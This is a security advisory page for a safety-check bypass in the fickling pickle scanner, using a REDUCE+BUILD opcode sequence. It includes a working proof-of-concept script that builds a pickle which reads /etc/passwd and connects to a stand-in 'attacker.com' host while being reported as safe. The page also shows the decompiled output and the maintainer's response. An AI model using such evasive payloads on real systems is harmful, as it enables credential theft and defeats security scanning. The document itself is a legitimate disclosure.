🛡️ GHSA-mhc9-48gj-9gp3 — fickling

⚪ Unknown ✅ No Known Exploit CWE-184 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Fickling has safety check bypass via REDUCE+BUILD opcode sequence

# Assessment

It is believed that the analysis pass works as intended, REDUCE and BUILD are not at fault here. The few potentially unsafe modules have been added to the blocklist (https://github.com/trailofbits/fickling/commit/0c4558d950daf70e134090573450ddcedaf10400).

# Original report

Summary

All 5 of fickling's safety interfacesis_likely_safe(), check_safety(), CLI --check-safety, always_check_safety(), and the check_safety() context manager — report LIKELY_SAFE / raise no exceptions for pickle files that call dangerous top-level stdlib functions (signal handlers, network servers, network connections, file operations) when the REDUCE opcode is followed by a BUILD opcode. Demonstrated impacts include backdoor network listeners (socketserver.TCPServer), process persistence (signal.signal), outbound data exfiltration (smtplib.SMTP), and file creation on disk (sqlite3.connect). An attacker can append a trivial BUILD opcode to any payload to eliminate all detection.

Details

The bypass exploits three weaknesses in fickling's static analysis pipeline:

1. likely_safe_imports over-inclusion (fickle.py:432-435): When fickling decompiles a pickle and encounters from smtplib import SMTP, it adds "SMTP" to the likely_safe_imports set because smtplib is a Python stdlib module. This happens for ALL stdlib modules, including dangerous ones like smtplib, ftplib, sqlite3, etc.

2. OvertlyBadEvals exemption (analysis.py:301-310): The main call-level safety checker skips any call where the function name is in likely_safe_imports. So SMTP('attacker.com') is never flagged.

3. __setstate__ exclusion (fickle.py:443-446): BUILD generates a __setstate__ call which is excluded from the non_setstate_calls list. This means BUILD's call is invisible to OvertlyBadEvals. Additionally, BUILD consumes the REDUCE result variable, which prevents the UnusedVariables checker from flagging the unused assignment (the only remaining detection mechanism).

Affected versions

All versions through 0.1.7 (latest as of 2026-02-18).

Affected APIs

  • fickling.is_likely_safe() - returns True for bypass payloads
  • fickling.analysis.check_safety() - returns AnalysisResults with severity = Severity.LIKELY_SAFE
  • fickling --check-safety CLI - exits with code 0
  • fickling.always_check_safety() + pickle.load() - no UnsafeFileError raised, malicious code executes
  • fickling.check_safety() context manager + pickle.load() - no UnsafeFileError raised, malicious code executes

PoC

A single pickle that reads /etc/passwd AND opens a network connection to an attacker's server, yet fickling reports it as LIKELY_SAFE:

```python

import io, struct, tempfile, os

def sbu(s):

"""SHORT_BINUNICODE opcode helper."""

b = s.encode()

return b"\x8c" + struct.pack("<B", len(b)) + b

def make_exfiltration_pickle():

"""

Single pickle that:

1. Reads /etc/passwd via fileinput.input()

2. Opens TCP connection to attacker via smtplib.SMTP()

Both operations pass as LIKELY_SAFE.

"""

buf = io.BytesIO()

buf.write(b"\x80\x04\x95") # PROTO 4 + FRAME

payload = io.BytesIO()

# --- Operation 1: Read /etc/passwd ---

payload.write(sbu("fileinput") + sbu("input") + b"\x93") # STACK_GLOBAL

payload.write(sbu("/etc/passwd") + b"\x85") # arg + TUPLE1

payload.write(b"R") # REDUCE

payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD

payload.write(b"0") # POP (discard result)

# --- Operation 2: Connect to attacker ---

payload.write(sbu("smtplib") + sbu("SMTP") + b"\x93") # STACK_GLOBAL

payload.write(sbu("attacker.com") + b"\x85") # arg + TUPLE1

payload.write(b"R") # REDUCE

payload.write(b"}" + sbu("_x") + sbu("y") + b"s" + b"b") # BUILD

payload.write(b".") # STOP

frame_data = payload.getvalue()

buf.write(struct.pack("<Q", len(frame_data)))

buf.write(frame_data)

return buf.getvalue()

# Generate and test

data = make_exfiltration_pickle()

with open("/tmp/exfil.pkl", "wb") as f:

f.write(data)

import fickling

print(fickling.is_likely_safe("/tmp/exfil.pkl"))

# Output: True <-- BYPASSED (file read + network connection in one pickle)

```

fickling decompiles this to:

```python

from fileinput import input

_var0 = input('/etc/passwd') # reads /etc/passwd

_var1 = _var0

_var1.__setstate__({'_x': 'y'})

from smtplib import SMTP

_var2 = SMTP('attacker.com') # opens TCP connection to attacker

_var3 = _var2

_var3.__setstate__({'_x': 'y'})

result = _var3

```

Yet reports LIKELY_SAFE because every call is either in likely_safe_imports (skipped) or is __setstate__ (excluded).

**CLI verific

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. Rated impact: confidentiality none, integrity low, availability none.

Weakness class

GHSA-mhc9-48gj-9gp3 is classified as CWE-184: Incomplete List of Disallowed Inputs. The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

Affected software

GHSA-mhc9-48gj-9gp3 is recorded against 1 package.

  • fickling (fixed in 0.1.8)

Timeline and source

Published on 25 February 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Advisory)
github.com (Package)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
CWE CWE-184
Public Exploit ✅ No
Source OSV
Published 2026-02-25
Updated 2026-08-12
Modified 2026-02-25
Fix URL N/A

Affected Packages

Software From version Fixed in
fickling 0.1.8

Free Vulnerability Check

Is your site affected by GHSA-mhc9-48gj-9gp3?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against GHSA-mhc9-48gj-9gp3 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesGitHub AdvisoryGitHub Advisory Undated